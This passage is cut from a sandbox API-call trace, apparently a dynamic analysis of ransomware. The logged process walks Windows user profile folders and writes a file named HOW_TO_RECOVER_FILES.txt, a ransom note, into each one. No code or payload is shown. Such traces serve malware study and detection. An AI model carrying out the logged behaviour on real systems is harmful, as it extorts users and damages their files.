nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x202ed9d8, lpOverlapped=0x0 | out: lpBuffer=0x34e9758*, lpNumberOfBytesWritten=0x202ed9d8*=0x5d0, lpOverlapped=0x0) returned 1 [0157.332] CloseHandle (hObject=0x7f8) returned 1 [0157.332] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ed9a0) returned 1 [0157.332] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\PrintHood", nBufferLength=0x105, lpBuffer=0x202ed440, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\PrintHood", lpFilePart=0x0) returned 0x1a [0157.332] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\PrintHood\\*", lpFindFileData=0x202ed6c0 | out: lpFindFileData=0x202ed6c0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff [0157.333] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ed950) returned 1 [0157.334] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\PrintHood\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x202ed3f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\PrintHood\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x33 [0157.334] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ed910) returned 1 [0157.334] CreateFileW (lpFileName="C:\\Users\\Default\\PrintHood\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\default\\printhood\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x7f8 [0157.335] GetFileType (hFile=0x7f8) returned 0x1 [0157.335] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ed880) returned 1 [0157.335] GetFileType (hFile=0x7f8) returned 0x1 [0157.335] WriteFile (in: hFile=0x7f8, lpBuffer=0x34f9cf8*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x202ed9d8, lpOverlapped=0x0 | out: lpBuffer=0x34f9cf8*, lpNumberOfBytesWritten=0x202ed9d8*=0x5d0, lpOverlapped=0x0) returned 1 [0157.336] CloseHandle (hObject=0x7f8) returned 1 [0157.336] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ed9a0) returned 1 [0157.336] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\Recent", nBufferLength=0x105, lpBuffer=0x202ed440, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\Recent", lpFilePart=0x0) returned 0x17 [0157.337] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Recent\\*", lpFindFileData=0x202ed6c0 | out: lpFindFileData=0x202ed6c0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff [0157.337] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ed950) returned 1 [0157.338] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\Recent\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x202ed3f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\Recent\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x30 [0157.338] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ed910) returned 1 [0157.339] CreateFileW (lpFileName="C:\\Users\\Default\\Recent\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\default\\recent\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x650 [0157.907] GetFileType (hFile=0x650) returned 0x1 [0157.907] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ed880) returned 1 [0157.907] GetFileType (hFile=0x650) returned 0x1 [0157.909] WriteFile (in: hFile=0x650, lpBuffer=0x34f42e0*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x202ed9d8, lpOverlapped=0x0 | out: lpBuffer=0x34f42e0*, lpNumberOfBytesWritten=0x202ed9d8*=0x5d0, lpOverlapped=0x0) returned 1 [0157.910] CloseHandle (hObject=0x650) returned 1 [0157.911] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ed9a0) returned 1 [0157.911] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\Saved Games", nBufferLength=0x105, lpBuffer=0x202ed440, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\Saved Games", lpFilePart=0x0) returned 0x1c [0157.911] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Saved Games\\*", lpFindFileData=0x202ed6c0 | out: lpFindFileData=0x202ed6c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xc3fbb8a6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1283d30 [0157.911] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ed680 | out: lpFindFileData=0x202ed680*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xc3fbb8a6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0157.911] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ed680 | out: lpFindFileData=0x202ed680*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xc3fbb8a6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0157.911] FindClose (in: hFindFile=0x1283d30 | out: hFindFile=0x1283d30) returned 1 [0157.911] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ed8e0) returned 1 [0157.911] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ed8a0) returned 1 [0157.911] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ed9a0) returned 1 [0157.911] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\Saved Games", nBufferLength=0x105, lpBuffer=0x202ed440, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\Saved Games", lpFilePart=0x0) returned 0x1c [0157.911] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Saved Games\\*", lpFindFileData=0x202ed6c0 | out: lpFindFileData=0x202ed6c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xc3fbb8a6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1283d30 [0157.912] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ed680 | out: lpFindFileData=0x202ed680*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xc3fbb8a6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0157.912] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ed680 | out: lpFindFileData=0x202ed680*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xc3fbb8a6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0157.912] FindClose (in: hFindFile=0x1283d30 | out: hFindFile=0x1283d30) returned 1 [0157.912] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ed8e0) returned 1 [0157.912] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ed8a0) returned 1 [0157.912] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\Saved Games\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x202ed3f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\Saved Games\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x35 [0157.912] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ed910) returned 1 [0157.912] CreateFileW (lpFileName="C:\\Users\\Default\\Saved Games\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\default\\saved games\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x650 [0157.912] GetFileType (hFile=0x650) returned 0x1 [0157.912] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ed880) returned 1 [0157.913] GetFileType (hFile=0x650) returned 0x1 [0157.913] WriteFile (in: hFile=0x650, lpBuffer=0x3504ef0*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x202ed9d8, lpOverlapped=0x0 | out: lpBuffer=0x3504ef0*, lpNumberOfBytesWritten=0x202ed9d8*=0x5d0, lpOverlapped=0x0) returned 1 [0157.914] CloseHandle (hObject=0x650) returned 1 [0157.914] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ed9a0) returned 1 [0157.914] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\SendTo", nBufferLength=0x105, lpBuffer=0x202ed440, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\SendTo", lpFilePart=0x0) returned 0x17 [0157.914] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\SendTo\\*", lpFindFileData=0x202ed6c0 | out: lpFindFileData=0x202ed6c0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff [0157.915] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ed950) returned 1 [0157.916] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\SendTo\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x202ed3f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\SendTo\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x30 [0157.916] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ed910) returned 1 [0157.917] CreateFileW (lpFileName="C:\\Users\\Default\\SendTo\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\default\\sendto\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x7fc [0157.919] GetFileType (hFile=0x7fc) returned 0x1 [0157.919] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ed880) returned 1 [0157.919] GetFileType (hFile=0x7fc) returned 0x1 [0157.920] WriteFile (in: hFile=0x7fc, lpBuffer=0x3517260*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x202ed9d8, lpOverlapped=0x0 | out: lpBuffer=0x3517260*, lpNumberOfBytesWritten=0x202ed9d8*=0x5d0, lpOverlapped=0x0) returned 1 [0157.921] CloseHandle (hObject=0x7fc) returned 1 [0157.921] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ed9a0) returned 1 [0157.921] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\Start Menu", nBufferLength=0x105, lpBuffer=0x202ed440, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\Start Menu", lpFilePart=0x0) returned 0x1b [0157.921] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Start Menu\\*", lpFindFileData=0x202ed6c0 | out: lpFindFileData=0x202ed6c0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff [0157.922] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ed950) returned 1 [0157.923] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\Start Menu\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x202ed3f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\Start Menu\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x34 [0157.923] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ed910) returned 1 [0157.923] CreateFileW (lpFileName="C:\\Users\\Default\\Start Menu\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\default\\start menu\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x7fc [0157.924] GetFileType (hFile=0x7fc) returned 0x1 [0157.924] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ed880) returned 1 [0157.924] GetFileType (hFile=0x7fc) returned 0x1 [0157.925] WriteFile (in: hFile=0x7fc, lpBuffer=0x3527810*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x202ed9d8, lpOverlapped=0x0 | out: lpBuffer=0x3527810*, lpNumberOfBytesWritten=0x202ed9d8*=0x5d0, lpOverlapped=0x0) returned 1 [0157.925] CloseHandle (hObject=0x7fc) returned 1 [0157.926] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ed9a0) returned 1 [0157.926] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\Templates", nBufferLength=0x105, lpBuffer=0x202ed440, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\Templates", lpFilePart=0x0) returned 0x1a [0157.926] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Templates\\*", lpFindFileData=0x202ed6c0 | out: lpFindFileData=0x202ed6c0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff [0157.926] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ed950) returned 1 [0157.928] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\Templates\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x202ed3f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\Templates\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x33 [0157.928] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ed910) returned 1 [0157.928] CreateFileW (lpFileName="C:\\Users\\Default\\Templates\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\default\\templates\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x7fc [0157.929] GetFileType (hFile=0x7fc) returned 0x1 [0157.929] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ed880) returned 1 [0157.929] GetFileType (hFile=0x7fc) returned 0x1 [0157.930] WriteFile (in: hFile=0x7fc, lpBuffer=0x3538a58*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x202ed9d8, lpOverlapped=0x0 | out: lpBuffer=0x3538a58*, lpNumberOfBytesWritten=0x202ed9d8*=0x5d0, lpOverlapped=0x0) returned 1 [0157.931] CloseHandle (hObject=0x7fc) returned 1 [0157.931] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ed9a0) returned 1 [0157.931] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\Videos", nBufferLength=0x105, lpBuffer=0x202ed440, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\Videos", lpFilePart=0x0) returned 0x17 [0157.931] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Videos\\*", lpFindFileData=0x202ed6c0 | out: lpFindFileData=0x202ed6c0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xc3fbc16a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x4b56a1bb, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1283d30 [0157.931] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ed680 | out: lpFindFileData=0x202ed680*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xc3fbc16a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x4b56a1bb, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0157.931] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ed680 | out: lpFindFileData=0x202ed680*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4b56a1bb, ftCreationTime.dwHighDateTime=0x1d5c5e4, ftLastAccessTime.dwLowDateTime=0x4b56a1bb, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x59d84b50, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x5d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HOW_TO_RECOVER_FILES.txt", cAlternateFileName="HOW_TO~1.TXT")) returned 1 [0157.931] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ed680 | out: lpFindFileData=0x202ed680*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0157.931] FindClose (in: hFindFile=0x1283d30 | out: hFindFile=0x1283d30) returned 1 [0157.931] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ed8e0) returned 1 [0157.932] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ed8a0) returned 1 [0157.932] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ed9a0) returned 1 [0157.932] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\Videos", nBufferLength=0x105, lpBuffer=0x202ed440, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\Videos", lpFilePart=0x0) returned 0x17 [0157.932] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Videos\\*", lpFindFileData=0x202ed6c0 | out: lpFindFileData=0x202ed6c0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x4b56a1bb, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x4b56a1bb, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1283d30 [0157.932] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ed680 | out: lpFindFileData=0x202ed680*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x4b56a1bb, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x4b56a1bb, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0157.932] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ed680 | out: lpFindFileData=0x202ed680*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4b56a1bb, ftCreationTime.dwHighDateTime=0x1d5c5e4, ftLastAccessTime.dwLowDateTime=0x4b56a1bb, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x59d84b50, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x5d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HOW_TO_RECOVER_FILES.txt", cAlternateFileName="HOW_TO~1.TXT")) returned 1 [0157.932] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ed680 | out: lpFindFileData=0x202ed680*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4b56a1bb, ftCreationTime.dwHighDateTime=0x1d5c5e4, ftLastAccessTime.dwLowDateTime=0x4b56a1bb, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x59d84b50, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x5d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HOW_TO_RECOVER_FILES.txt", cAlternateFileName="HOW_TO~1.TXT")) returned 0 [0157.932] FindClose (in: hFindFile=0x1283d30 | out: hFindFile=0x1283d30) returned 1 [0157.932] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ed8e0) returned 1 [0157.932] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ed8a0) returned 1 [0157.933] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\Videos\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x202ed3f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\Videos\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x30 [0157.933] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ed910) returned 1 [0157.933] CreateFileW (lpFileName="C:\\Users\\Default\\Videos\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\default\\videos\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x7fc [0157.933] GetFileType (hFile=0x7fc) returned 0x1 [0157.933] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ed880) returned 1 [0157.933] GetFileType (hFile=0x7fc) returned 0x1 [0157.934] WriteFile (in: hFile=0x7fc, lpBuffer=0x3549a10*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x202ed9d8, lpOverlapped=0x0 | out: lpBuffer=0x3549a10*, lpNumberOfBytesWritten=0x202ed9d8*=0x5d0, lpOverlapped=0x0) returned 1 [0157.935] CloseHandle (hObject=0x7fc) returned 1 [0157.935] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x202ede20, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x29 [0157.935] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ee340) returned 1 [0157.935] CreateFileW (lpFileName="C:\\Users\\Default\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\default\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x7fc [0157.936] GetFileType (hFile=0x7fc) returned 0x1 [0157.936] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ee2b0) returned 1 [0157.936] GetFileType (hFile=0x7fc) returned 0x1 [0157.936] WriteFile (in: hFile=0x7fc, lpBuffer=0x354d208*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x202ee408, lpOverlapped=0x0 | out: lpBuffer=0x354d208*, lpNumberOfBytesWritten=0x202ee408*=0x5d0, lpOverlapped=0x0) returned 1 [0157.937] CloseHandle (hObject=0x7fc) returned 1 [0157.938] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ee3d0) returned 1 [0157.938] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\My Documents", nBufferLength=0x105, lpBuffer=0x202ede70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\My Documents", lpFilePart=0x0) returned 0x1c [0157.938] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\My Documents\\*", lpFindFileData=0x202ee0f0 | out: lpFindFileData=0x202ee0f0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff [0157.938] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ee380) returned 1 [0157.940] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\My Documents\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x202ede20, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\My Documents\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x35 [0157.940] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ee340) returned 1 [0157.940] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\My Documents\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\fd1hvy\\my documents\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, 